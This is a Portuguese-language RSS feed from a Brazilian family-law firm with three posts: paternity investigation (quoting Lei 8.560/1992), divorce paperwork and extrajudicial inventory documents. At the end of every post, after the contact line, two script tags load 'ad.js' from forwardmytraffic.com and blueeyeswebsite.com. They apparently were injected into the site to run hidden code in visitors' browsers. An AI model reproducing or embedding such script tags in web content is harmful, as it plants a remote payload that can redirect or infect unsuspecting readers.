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	<title>ARQUIVOS JURÍDICOS &#8211; RFS Advocacia | Direito de Familia e Heranca, Imobiliario, Consumidor, Civel</title>
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	<description>Direito de Familia e Heranca, Imobiliario, Consumidor, Civel</description>
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	<title>ARQUIVOS JURÍDICOS &#8211; RFS Advocacia | Direito de Familia e Heranca, Imobiliario, Consumidor, Civel</title>
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		<title>INVESTIGAÇÃO E RECONHECIMENTO DE PATERNIDADE</title>
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		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Wed, 14 Oct 2015 19:45:08 +0000</pubDate>
				<category><![CDATA[ARQUIVOS JURÍDICOS]]></category>
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					<description><![CDATA[INVESTIGAÇÃO E RECONHECIMENTO DE PATERNIDADE Entende-se que, todo ser humano tem o direito de saber que são seus pais biológicos. Por inúmeros motivos, a identidade dos<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p><strong>INVESTIGAÇÃO E RECONHECIMENTO DE PATERNIDADE</strong><br />
Entende-se que, todo ser humano tem o direito de saber que são seus pais biológicos.<br />
Por inúmeros motivos, a identidade dos verdadeiros pais são desconhecidas por seus filhos, o que<br />
certamente acarretará sérios problemas à essa família, seja no casamento ou na união estável.<br />
O filho tem o direito de saber quem são seus pais, quem são seus irmãos, primos, ancentrais, sua<br />
origem, e, não pode ser privado desse direito por escolha de terceiros.<br />
Por sua vez, os pais devem assumir o seu filho emocionalmente e financeiramente. O Pai e a Mãe<br />
devem sair de cena e firmar um compromisso sobre o suporte e encaminhamento vida do filho<br />
que foi gerado pelos dois, e, que é de responsabilidade de ambos.</p>
<p>Investigação de Paternidade<br />
Com a popularização dos exames de DNA, a ação de reconhecimento de paternidade passou a<br />
considerar os seguintes termos:</p>
<p>1. Caso o pai se recuse a realizar o exame, tal recusa pode ser interpretada contra o suposto pai que,<br />
passa a ter ele que fazer prova cabal de não ser o pai, por outros meios.</p>
<p>2. Os exames podem ser realizados em laboratórios particulares, com custos relativamente baixos,<br />
os quais, o Juiz pode determinar que sejam suportados pelo requerido.</p>
<p>3. Como a mulher tem maiores facilidades em provar a maternidade. A recusa da autora, na ação de<br />
reconhecimento, em permitir que sejam realizados os exames no filho, pode representar forte indício<br />
da não-paternidade.</p>
<p>Caso o requerido não queira arcar com os custos do exame de DNA, podem ser feitos exames via<br />
tipagem sanguínea, que não confirmam a paternidade, mas que podem vir a confirmar a negativa de<br />
paternidade.<br />
Os fatores determinantes para esta ação, são os resultados das perícias realizadas.</p>
<p>Para uma consulta inicial, sem compromisso, entre em contato direto:<br />
advogado-de-familia@rfsadvocacia.com.br</p>
<p>Documentos necessários para o reconhecimento de paternidade:<br />
Nas ações de Reconhecimento ou Negatória de Paternidade ou Maternidade, cópias autenticadas de:</p>
<p>Certidão de Nascimento/Casamento do requerente;<br />
Certidão de Nascimento/Casamento do filho;<br />
Declaração de duas testemunhas devidamente qualificadas (nome completo, n.º da RG, nacionalidade, profissão, estado civil, endereço completo) e com firma reconhecida, confirmando os fatos alegados;<br />
RGs de todos os envolvidos (requerente, filho maior ou representante legal do filho menor e testemunhas);<br />
Provas documentais dos fatos alegados (fotos, cartas, certidões de batismo, etc.);<br />
No caso de reconhecimento de maternidade, declaração do hospital do parto realizado.<br />
LEI Nº 8.560, DE 29 DE DEZEMBRO DE 1992<br />
Regula a investigação de paternidade dos filhos havidos fora do casamento e dá outras providências. O PRESIDENTE DA REPÚBLICA, faço saber que o Congresso Nacional decreta e eu sanciono a seguinte lei:<br />
Art. 1° O reconhecimento dos filhos havidos fora do casamento é irrevogável e será feito:<br />
I -no registro de nascimento;<br />
II -por escritura pública ou escrito particular, a ser arquivado em cartório;<br />
III -por testamento, ainda que incidentalmente manifestado;<br />
IV -por manifestação expressa e direta perante o juiz, ainda que o reconhecimento não haja sido o objeto único e principal do ato que o contém.<br />
Art. 2° Em registro de nascimento de menor apenas com a maternidade estabelecida, o oficial remeterá ao juiz certidão integral do registro e o nome e prenome, profissão, identidade e residência do suposto pai, a fim de ser averiguada oficiosamente a procedência da alegação.<br />
§ 1° O juiz, sempre que possível, ouvirá a mãe sobre a paternidade alegada e mandará, em qualquer caso, notificar o suposto pai, independente de seu estado civil, para que se manifeste sobre a paternidade que lhe é atribuída.<br />
§ 2° O juiz, quando entender necessário, determinará que a diligência seja realizada em segredo de justiça.<br />
§ 3° No caso do suposto pai confirmar expressamente a paternidade, será lavrado termo de reconhecimento e remetida certidão ao oficial do registro, para a devida averbação.<br />
§ 4° Se o suposto pai não atender no prazo de trinta dias, a notificação judicial, ou negar a alegada paternidade, o juiz remeterá os autos ao representante do Ministério Público para que intente, havendo elementos suficientes, a ação de investigação de paternidade.<br />
§ 5° A iniciativa conferida ao Ministério não impede a quem tenha legítimo interesse de intentar investigação, visando a obter o pretendido reconhecimento da paternidade.<br />
Art. 3° E vedado legitimar e reconhecer filho na ata do casamento.Parágrafo único. É ressalvado o direito de averbar alteração do patronímico materno, em decorrência do casamento, no termo de nascimento do filho.<br />
Art. 4° O filho maior não pode ser reconhecido sem o seu consentimento.<br />
Art. 5° No registro de nascimento não se fará qualquer referência à natureza da filiação, à sua ordem em relação a outros irmãos do mesmo prenome, exceto gêmeos, ao lugar e cartório do casamento dos pais e ao estado civil destes.<br />
Art. 6° Das certidões de nascimento não constarão indícios de a concepção haver sido decorrente de relação extraconjugal.<br />
§ 1° Não deverá constar, em qualquer caso, o estado civil dos pais e a natureza da filiação, bem como o lugar e cartório do casamento, proibida referência à presente lei.<br />
§ 2º São ressalvadas autorizações ou requisições judiciais de certidões de inteiro teor, mediante decisão fundamentada, assegurados os direitos, as garantias e interesses relevantes do registrado.<br />
Art. 7° Sempre que na sentença de primeiro grau se reconhecer a paternidade, nela se fixarão os alimentos provisionais ou definitivos do reconhecido que deles necessite.<br />
Art. 8° Os registros de nascimento, anteriores à data da presente lei, poderão ser retificados por decisão judicial, ouvido o Ministério Público.<br />
Art. 9° Esta lei entra em vigor na data de sua publicação.<br />
Art. 10° São revogados os arts. 332, 337 e 347 do Código Civil e demais disposições em contrário.<br />
Brasília, 29 de dezembro de 1992; 171° da Independência e 104° da República.<br />
ITAMAR FRANCO / Maurício Corrêa</p>
<p>Ligue ou envie um e-mail, para saber mais sobre como podemos lhe assessorar. Será um prazer atendê-lo(a).<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<item>
		<title>DOCUMENTOS PARA O DIVÓRCIO</title>
		<link>http://rfsadvocacia.com.br/documentos-para-o-divorcio/</link>
		
		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Wed, 14 Oct 2015 19:44:02 +0000</pubDate>
				<category><![CDATA[ARQUIVOS JURÍDICOS]]></category>
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					<description><![CDATA[DOCUMENTOS PARA O DIVÓRCIO Requisitos Divórcio A Emenda à Constituição 66/2010, dispensa o cumprimento do requisito do prazo prévio de separação, como condição para a formulação<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p><strong>DOCUMENTOS PARA O DIVÓRCIO</strong><br />
Requisitos Divórcio<br />
A Emenda à Constituição 66/2010, dispensa o cumprimento do requisito do prazo prévio<br />
de separação, como condição para a formulação do pedido de divórcio.<br />
Elimina a exigência de separação judicial prévia, por mais de um ano ou de separação de fato por<br />
mais de dois anos para que os casais possam se divorciar.</p>
<p>Relação de Documentos<br />
Carteira de identidade e número do CPF<br />
Certidão de casamento (atualizada – 90 dias)<br />
Certidão do pacto antenupcial, se houver<br />
Certidão de nascimento ou documento de identidade dos filhos absolutamente capazes<br />
Certidão de propriedade dos imóveis (atualizada – 30 dias)</p>
<p>Separação e Divórcio Litigioso Informe provas de má conduta do outro, e que venham a<br />
justificar o pedido de separação: documentos, boletins de ocorrência, exames de corpo de delito,<br />
fotos, vídeos, gravações de conversas, atestados médicos e e-mails agressivos.</p>
<p>Conversão de Separação em Dióorcio<br />
Certidão de casamento que deverá conter a averbação da Separação.</p>
<p>Para uma consulta inicial, sem compromisso, entre em contato direto:<br />
advogado-de-familia@rfsadvocacia.com.br<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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			</item>
		<item>
		<title>RELAÇÃO DE DOCUMENTOS NECESSÁRIOS PARA INVENTÁRIO EXTRAJUDICIAL</title>
		<link>http://rfsadvocacia.com.br/relacao-de-documentos-necessarios-para-inventario-extrajudicial/</link>
		
		<dc:creator><![CDATA[RFS Advocacia]]></dc:creator>
		<pubDate>Wed, 14 Oct 2015 19:42:48 +0000</pubDate>
				<category><![CDATA[ARQUIVOS JURÍDICOS]]></category>
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					<description><![CDATA[RELAÇÃO DE DOCUMENTOS NECESSÁRIOS PARA INVENTÁRIO EXTRAJUDICIAL Administrativo, em Cartório. Advogados Especializados. &#160; Verifique requisitos e opções que podem simplificar o procedimento: INVENTÁRIO, PARTILHA DE BENS,<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p><strong>RELAÇÃO DE DOCUMENTOS NECESSÁRIOS PARA INVENTÁRIO EXTRAJUDICIAL</strong><br />
Administrativo, em Cartório. Advogados Especializados.</p>
<p>&nbsp;</p>
<p>Verifique requisitos e opções que podem simplificar o procedimento:<br />
INVENTÁRIO, PARTILHA DE BENS, HERANÇA</p>
<p>Relação de Documentos:<br />
Carteira de identidade e CPF das partes<br />
Certidão de Óbito do Falecido, RG e CPF<br />
Certidão de Casamento do cônjuge sobrevivente e dos herdeiros (atualizada até 90 dias)<br />
Certidão Comprobatória do Vínculo de Parentesco<br />
Certidão do Pacto Antenupcial (se houver)<br />
Certidão de Propriedade e Ônus Reais dos Bens Imóveis<br />
Documento Comprobatório do Valor Venal dos Imóveis<br />
Documentos Comprobatórios da Propriedade e do Preço de Bens móveis<br />
Certidão de Inexistência de Testamento (CNB-SP)<br />
Certidão Negativa de Tributos Fiscais Municipais<br />
CCIR e Prova de Quitação do ITR | Imposto territorial rural relativo ao últimos cinco anos para bens<br />
imóveis rurais do espólio<br />
Certidão Negativa Conjunta da Receita Federal e Procuradoria Geral da Fazenda Nacional</p>
<p>Para uma consulta prévia, sem compromisso, entre em contato direto:<br />
advogado-de-familia@rfsadvocacia.com.br<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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